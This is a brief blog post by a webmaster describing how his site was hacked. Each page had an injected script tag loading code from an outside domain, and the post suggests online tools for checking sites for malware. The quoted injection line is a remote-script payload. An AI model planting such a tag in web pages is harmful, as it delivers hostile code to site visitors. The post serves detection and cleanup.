How to test if your site contains malware

A few weeks ago I discovered a problem as webmaster of the Helenahoeve (www.helenahoeve.nl). The site was hacked. Each page contains some extra code between the end head and the body tag.

The code was something like:
script src=http://mashaei.ir/AWStats/admin.php /script

I did not check it, but I think it is some nasty code. I discovered this code because I saw in the status bar that the browser was waiting for mashaei.ir. For what? Who is Mashaei? Well that is a simple question, take a look at: http://en.wikipedia.org/wiki/Esfandiar_Rahim_Mashaei but do not visit his site!

I removed all rubish, protected my site a litte more and watched my site more closely. I suggest that you ask Google for advise via  http://google.com/safebrowsing/diagnostic?site=mashaei.ir 

There are other sites, but they all state that mashaei.ir is okay. I think that that is not correct.
  1. McAfee's SiteAdvisor: http://www.siteadvisor.com/sites/mashaei.ir
  2. Finjan Vital Security: http://www.finjan.com/Content.aspx?id=574&surl=mashaei.ir
  3. Norton Safe Web: http://safeweb.norton.com/report/show?url=mashaei.ir&x=0&y=
There are luckily other ways to test your site for malware.
  1. If your site contains valid HTML, check at a regular base http://validator.w3.org/check?uri=www.mashaei.ir
  2. If you know which URL's are valid, check for strange browser requests with http://tools.pingdom.com/?url=www.mashaei.ir
  3. Let your site check by http://www.dasient.com/
